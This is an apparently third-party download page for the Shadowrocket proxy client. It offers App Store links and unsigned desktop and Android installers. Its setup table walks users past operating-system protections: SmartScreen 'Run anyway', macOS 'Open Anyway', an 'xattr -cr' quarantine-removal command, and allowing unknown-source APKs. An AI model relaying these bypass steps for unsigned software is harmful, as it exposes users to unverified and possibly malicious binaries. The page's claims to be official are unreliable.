Official downloads · Choose your device

Shadowrocket Downloads for All Platforms

Choose your device and architecture, then follow the installation steps for your system. Get iPhone / iPad from the App Store and use this site's installers for computers and Android.

Current version v2.2.92 · Mac, Windows, Android and Linux versions are free

2 ways to get it: iPhone / iPad $2.99 one-time · Other platforms free iPhone / iPad: App Store · Other platforms: this site Current version v2.2.92 Developer: Shadow Launch Technology Limited App ID 932747118

A one-time client purchase is not a service plan. After installation, import your existing subscription or server details.

Choose an installer by platform

iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android and Linux: free. Your current device is listed first when possible, and you can also download for another device.

iPhone / iPad

$2.99 one-time. Use the App Store product page below to purchase and install. An iPhone and iPad using the same Apple ID share one purchase. Mac, Windows, Android and Linux versions are free.

System requirements: iOS / iPadOS 13.0 or later; see the App Store page for the listed requirements. On the product page, check device compatibility, then verify the developer and App ID. If you have already purchased the app, check your purchased items first.

Mac

Free. Two .dmg installers are available: Apple silicon and Intel. Requires macOS 12 or later. The installers are for different processor architectures, not different feature sets or price tiers.

After downloading, open the disk image and drag Shadowrocket to Applications. If the system blocks the first launch, follow the installation prompt steps below. Do not repeatedly download different architectures to try to bypass a system prompt.

Not sure which one to choose? Open About This Mac and check Chip / Processor. Choose Apple silicon if it shows Apple silicon, or Intel if it shows Intel.

Windows

Free. This site provides a 64-bit x64 .exe installer. Check the system type in System Information, then save the file and run the installer.

Downloading does not complete the installation. Follow the installer prompts to choose a location, then open Shadowrocket when installation is complete. If SmartScreen appears, verify the source first and refer to the installation prompt steps. Organization-managed computers may require administrator approval.

Android

Free. The .apk installer is built for the arm64 architecture and works with most Android phones and tablets from recent years. For older devices, check the processor architecture first; screen size alone does not determine compatibility.

Save the file in your browser and open it from the downloads list. When prompted for installation-source permission, enable Allow from this source for the browser used for this download only. If a download does not start in WeChat, follow the page prompt to switch to your system browser and try again.

Linux

Free. All installers below are for x86_64. Use .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions.

Prefer the package manager that matches your distribution to check installation status and handle dependencies. AppImage requires execute permission. If the system lacks a required runtime component, follow your distribution's instructions to install it; do not assume a launch failure is a connection issue.

First installation and system prompts

Computer and Android installers are not code-signed, so the system may block them on first launch. Verify that the file came from this site, then follow the steps for your system.

System source warnings and connection failures are different issues: the former occur during installation or launch; the latter should be checked after opening the client. Do not leave system protection disabled to install the app. Follow the steps below only for a file whose source you have verified. On devices managed by a company, school or other organization, follow the device policy.

Platform and promptStepsCheck when done
Windows · SmartScreen If you see “Windows protected your PC,” verify the installer source, then select “More info” → “Run anyway.” If device policy does not offer that option, contact your administrator; do not change your organization's security policy. After installation, open Shadowrocket from the app list. If it still will not launch, note the full prompt and consult the official troubleshooting guide.
macOS · Developer cannot be verified Move the app to Applications and try opening it once. Go to System Settings → Privacy & Security, find the relevant blocked app entry, select Open Anyway, then confirm the launch. Confirm that the allowed app is Shadowrocket, not another file downloaded at the same time. The system may ask for your Mac administrator credentials.
macOS · “Damaged” warning After confirming that the app came from this site and is in Applications, run this command in Terminal: xattr -cr /Applications/Shadowrocket.app The command applies only to that app path. Reopen the app when done. If it is stored elsewhere, move it to the location above first; do not expand the command's scope.
Android · Installation-source permission From the system prompt, open the current browser's permissions page and enable Allow from this source. Return to the downloads list, reopen the .apk and confirm installation. Grant permission only to the browser that downloaded the file. After installation, you can disable this source permission according to your device management preferences.
Linux · AppImage In Terminal, enter chmod +x , then drag the downloaded AppImage into the window to add its actual path and press Return. You can also enable the executable permission in the file properties. Open the file again. If an error persists, launch it from Terminal and keep the error message to distinguish an execute-permission issue from a missing runtime dependency.
Linux · .deb / .rpm For .deb, from the file's directory run sudo apt install ./filename.deb, replacing “filename.deb” with the actual downloaded filename. Open .rpm with your distribution's software installer or package manager. Wait for the package manager to finish before launching the app. If it reports dependency issues, follow the instructions for your distribution's software sources and package manager.

After installation, the system may ask for permission to establish a VPN connection. Allow it only after confirming the request came from the Shadowrocket you just opened. This permission lets the client process network traffic; it does not mean a server has been configured. You still need to import your own information before connecting.

App Store and account region

This section applies to iPhone / iPad only. The app is not available in the mainland China App Store. The country or region associated with your Apple ID determines which store you see—not your device's current location, system language or browser language. If you cannot find the app, open the product page on this site to check the message, then verify the account used for store purchases.

Go to Settings → Apple ID → Media & Purchases → View Account → Country/Region. Some systems may ask you to verify your identity first. Check the account used for Media & Purchases, not only the account name shown at the top of your device; different services on the same device can use different accounts.

To change your region, open Change Country or Region from the page above and review the listed conditions. Account balance, active subscriptions, Family Sharing settings and payment methods may affect whether the change can be completed. Follow the actual prompts on your account page. Check how the change may affect existing purchases and services; do not assume it will necessarily succeed.

Once you reach an available store, verify the Shadowrocket name, developer and App ID on the product page. The US App Store price for iPhone / iPad is $2.99 one-time; other storefronts show local currency. Mac, Windows, Android and Linux versions are free and use the installers on this site; they do not require the store process described in this section.

Verify the Shadowrocket app

For iPhone / iPad, verify the App Store listing. For computers and Android, verify the download path on this site. Apps with the same name are not necessarily the same product; do not rely only on the first search result.

  1. Developer name: Check the developer information on the App Store product page. It should be Shadow Launch Technology Limited. Expand the details if needed to see the full name.
  2. Official icon: Check for the official rocket icon on a white background with a blue-violet outline. Treat the icon as one verification detail and also check the developer name and App ID.
  3. App ID: The product page URL should include id932747118, which corresponds to App ID 932747118. All App Store buttons on this page open that product page.

A free App Store listing with the same name is an imitation, not the iPhone / iPad version described here. Keep the platform pricing distinction in mind: iPhone / iPad costs $2.99 one-time on the App Store; the Mac, Windows, Android and Linux versions are free.

For computers and Android, use installers under this site's /dl/shadowrocket/ path. Download installers through this site's download links, not modified files found elsewhere in search results. If the system displays a source warning, return to this page to verify the download source and architecture, then follow the installation prompt steps. Do not judge a file by its icon alone.

Changing devices, reinstalling and restoring purchases

When you change iPhone / iPad, first make sure the App Store is signed in with the Apple ID used to purchase Shadowrocket. Then go to App Store → Account → Purchased, find Shadowrocket and download it again. Depending on the system version, purchased content may appear under a section such as Apps; follow what is shown on your account page. If you find the original purchase, you usually do not need to pay again.

An iPhone and iPad using the same Apple ID share one purchase. The US App Store price for iPhone / iPad is $2.99 one-time; Mac, Windows, Android and Linux versions are free. If the new device still shows a purchase price, exit the purchase confirmation screen and check the store account, region and original purchase record. Do not keep making payment attempts before confirming the account.

Restoring the app and restoring connection settings are two separate tasks. Redownloading means the client is installed; it does not confirm that your previous servers, subscriptions or custom rules have synced. Save any configuration you still need before reinstalling. After restoring, import your own subscription or server details, then check the selected server and Global Routing.

When changing computers or Android devices, select the installer for the correct architecture from this page. An old Intel computer does not mean a new Mac should use the Intel version; check About This Mac again after changing devices. Before updating or reinstalling, save your configuration and close the running client to avoid mistaking a file-in-use prompt for a file problem.

After importing, follow the official setup guide to select a server, turn on the connection switch and run Connectivity Test. If the client opens normally but webpages still cannot load, use the official troubleshooting guide to check the server, Global Routing, DNS and rules instead of repeatedly reinstalling.

Two price tiers and what you need to connect

The platform determines how to get the app; users provide their own server details for connections.

iPhone / iPad: $2.99 one-time on the US App Store; Mac, Windows, Android and Linux: free. The iPhone / iPad client is not billed monthly, and one purchase covers both device types under the same Apple ID. Final prices and currencies vary by storefront and are shown on the payment page. Choose the relevant installer on this site for computers and Android.

A one-time client purchase is not a service plan. This site does not provide, sell or recommend nodes or subscriptions. On every platform, connecting requires your own existing subscription or server details. Purchasing the client does not generate a usable server or renew an existing service for you.

If you already have a subscription, import it after installation using the official guide and confirm that the entry appears. If you have details for a single server, enter the relevant fields under Add Server for its protocol type. Do not treat a store purchase, client installation and subscription validity as one check. Verify each separately to identify where an issue occurs.

For future updates, check the App Store on iPhone / iPad; for computers and Android, return to this page for the current installers. Version information updates when the download manifest is read. Keep your configuration before installing an update, then check that your existing servers and rules still work as expected.

Download FAQ

Confirm the platform and how to get the app first, then handle any system prompts.

Can I use Shadowrocket on a computer or Android phone?

Yes. The Mac, Windows, Android and Linux versions are free, with installers available from this site. The iPhone / iPad version costs $2.99 one-time on the App Store. Mac installers are available for Apple silicon and Intel; the Android installer is for arm64.

Which Mac version should I choose: Apple silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple silicon version if Chip shows Apple silicon; choose the Intel version if Processor shows Intel. Do not decide based on the computer's appearance or purchase year.

What should I do if Windows warns that the file may be risky?

First confirm that the file came from this site's /dl/shadowrocket/ path. The installer is not code-signed, so SmartScreen may show “Windows protected your PC.” After checking the source, select “More info,” then “Run anyway.” Contact your administrator on organization-managed devices.

What should I do if Shadowrocket does not appear in App Store search?

This app is not available in the mainland China App Store. Open the App Store product page from this page, then check the country or region associated with your Apple ID. Find it under Settings → Apple ID → Media & Purchases → View Account → Country/Region. Any region change is subject to the conditions shown on your account page.

Do I have to pay again after changing devices or reinstalling?

On iPhone / iPad, sign in with the Apple ID used for the original purchase, then redownload from App Store → Account → Purchased. You usually do not need to pay again; one purchase covers both device types. The US App Store price for iPhone / iPad is $2.99 one-time. Mac, Windows, Android and Linux versions are free and can be downloaded again directly.

Can I install Shadowrocket on iPad, and where can I check system requirements?

Yes. iPhone and iPad use the same App Store product page and share one purchase with the same Apple ID. The iPhone / iPad version costs $2.99 one-time; Mac, Windows, Android and Linux versions are free. iOS / iPadOS 13.0 or later is required; check the App Store page for the listed system requirements.

Free download Shadowrocket